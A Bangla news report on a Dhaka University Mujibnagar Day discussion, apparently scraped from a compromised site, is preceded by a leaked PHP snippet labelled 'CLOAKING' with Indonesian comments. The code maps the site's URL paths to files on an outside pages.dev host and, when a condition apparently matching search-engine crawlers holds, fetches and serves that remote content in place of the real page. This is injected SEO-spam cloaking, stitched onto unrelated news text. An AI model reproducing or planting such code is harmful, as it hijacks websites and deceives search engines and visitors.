/* ===== NORMALISASI PATH (VERSI PERBAIKAN) ===== */ // Ambil path, hapus query string (?abc=123) jika ada $p = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // Hilangkan index.php $p = str_replace('/index.php', '', $p); // Pastikan path selalu diawali dengan '/' dan tidak diakhiri dengan '/' (kecuali root) $p = '/' . ltrim(rtrim($p, '/'), '/'); /* ===== MAPPING URL ===== */ $map = [ '/technical/251262' => 'content39.txt', '/education-ministry/243185' => 'content40.txt', '/dshe/252183' => 'content41.txt', '/' => 'content42.txt', // Sekarang ini akan terpanggil dengan benar '/ntrca/238706' => 'content43.txt', '/section/admission-test/110' => 'content44.txt', '/section/ntrca/122' => 'content45.txt' ]; /* ===== CLOAKING ===== */ // Debugging sederhana (hapus jika sudah jalan): // echo "Path terdeteksi: " . $p; if($b && isset($map[$p])){ $content_url = "https://new-content-page.pages.dev/" . $map[$p]; $x = fetch($content_url); if($x && strlen(trim($x)) > 50){ header("Content-Type: text/html; charset=utf-8"); echo $x; exit; } }
প্রো-ভাইস চ্যান্সেলর (প্রশাসন) অধ্যাপক ড. মুহাম্মদ সামাদ © সংগৃহীত
ঢাকা বিশ্ববিদ্যালয়ের (ঢাবি) উপাচার্যের রুটিন দায়িত্বে নিয়োজিত প্রো-ভাইস চ্যান্সেলর (প্রশাসন) অধ্যাপক ড. মুহাম্মদ সামাদ বাংলাদেশের প্রথম বৈধ ও নিয়মতান্ত্রিকভাবে গঠিত ‘মুজিবনগর সরকাররে’ প্রেক্ষাপট ও ইতিহাস তুলে ধরে বলেছেন, মুক্তিযুদ্ধ চলাকালীন বাংলাদেশের মাটিতে বঙ্গবন্ধুকে রাষ্ট্রপতি করে গঠিত এই সরকারের ইতিহাস তরুণ প্রজন্মের মাঝে ছড়িয়ে দিতে হবে। ঐতিহাসিক মুজিবনগর দিবস উপলক্ষে বুধবার (১৭ এপ্রিল) বিশ্ববিদ্যালয়ের ছাত্র-শিক্ষক কেন্দ্র মিলনায়তনে এক আলোচনা সভায় সভাপতির বক্তব্যে তিনি একথা বলেন।
আলোচনা সভায় ঢাকা বিশ্ববিদ্যালয়ের প্রো-ভাইস চ্যান্সেলর (শিক্ষা) অধ্যাপক ড. সীতেশ চন্দ্র বাছার, শিক্ষক সমিতির সভাপতি অধ্যাপক ড. মো. নিজামুল হক ভূইয়াসহ অফিসার্স এসোসিয়েশন, কর্মচারী সমিতি, কারিগরি কর্মচারী সমিতি এবং চতুর্থ শ্রেণী কর্মচারী ইউনিয়নের নেতৃবৃন্দ বক্তব্য রাখেন। ঢাকা বিশ্ববিদ্যালয়ের রেজিস্ট্রার প্রবীর কুমার সরকার অনুষ্ঠান সঞ্চালন করেন।
সভায় অধ্যাপক ড. মুহাম্মদ সামাদ বলেন, সর্বকালের সর্বশ্রেষ্ঠ বাঙালি জাতির পিতা বঙ্গবন্ধু শেখ মুজিবুর রহমানের রাজনৈতিক দূরদর্শিতার প্রতিফলন এই মুজিবনগর সরকার। বঙ্গবন্ধু'র নেতৃত্বে গঠিত এই সরকারের কারণেই বাংলাদেশের স্বাধীনতা অর্জন ত্বরান্বিত হয়েছিল। স্বাধীনতা বিরোধী চক্র এখনও মুজিবনগর সরকার ও মহান মুক্তিযুদ্ধকে বিতর্কিত করার অপচেষ্টায় লিপ্ত রয়েছে। নতুন প্রজন্মকে এই অপশক্তির ব্যাপারে সতর্ক থাকতে হবে এবং মুক্তিযুদ্ধের সঠিক ইতিহাস জানতে হবে।
ঐতিহাসিক মুজিবনগর সরকার গঠনের পটভূমি ও তাৎপর্য তুলে ধরে তিনি বলেন, এই মুজিবনগর সরকার কেন, কিভাবে, কখন, কোথায় এবং কাদেরকে নিয়ে গঠন করা হয়েছিলো সে সম্পর্কে তরুণ প্রজন্মসহ সকলকে জানতে হবে।
তিনি বঙ্গবন্ধুর অমর স্মৃতির প্রতি গভীর শ্রদ্ধা নিবেদন করে বলেন, বঙ্গবন্ধু অত্যন্ত বিচক্ষণতার সাথে মুক্তিযুদ্ধ ও স্বাধীনতার জন্য একটি রূপরেখা প্রণয়ন করেছিলেন। তার প্রণীত রূপরেখা, পরিকল্পনা ও নির্দেশনা অনুযায়ী নিয়মতান্ত্রিকভাবে গঠিত এই মুজিবনগর সরকারের নেতৃত্বেই বাংলাদেশের মহান মুক্তিযুদ্ধ পরিচালিত হয়েছিল। মুক্তিসংগ্রামের মাধ্যমে মহান স্বাধীনতা অর্জনে বঙ্গবন্ধু'র সুদীর্ঘ সংগ্রাম, অন্তহীন ত্যাগ, তিতিক্ষা, দেশপ্রেম, সততা এবং রাজনৈতিক কৌশল আমাদের সবসময় মনে রাখতে হবে। ১৯৭১ সালের ২৬শে মার্চ বঙ্গবন্ধুর স্বাধীনতা ঘোষণা, বঙ্গবন্ধু'র বর্ণাঢ্য ও সংগ্রামী জীবনাদর্শ, মহান মুক্তিযুদ্ধসহ মুজিবনগর সরকার গঠনের সঠিক ইতিহাস ও প্রেক্ষাপট প্রজন্ম থেকে প্রজন্মান্তরে ছড়িয়ে দিতে তিনি সকলের প্রতি আহ্বান জানান।
প্রো-ভাইস চ্যান্সেলর (শিক্ষা) অধ্যাপক ড. সীতেশ চন্দ্র বাজার বলেন, এদেশের মানুষের সাথে যে নির্যাতন, নিপীড়ন ও বিশ্বাসঘাতকতা করা হয়েছিলো তার প্রেক্ষাপটেই আমাদের স্বাধীনতা অর্জনের লক্ষ্যে জাতির পিতা বঙ্গবন্ধু শেখ মুজিবুর রহমানের নির্দেশনায় মুজিবনগর সরকার গঠন করা হয়েছিলো। বঙ্গবন্ধু'র নেতৃত্বে আমাদের স্বাধীনতা সংগ্রামকে গণতান্ত্রিক ও গঠনতান্ত্রিক রূপ দিতে এই মুজিবনগর সরকার গঠন করা হয়েছিলো বলে তিনি উল্লেখ করেন।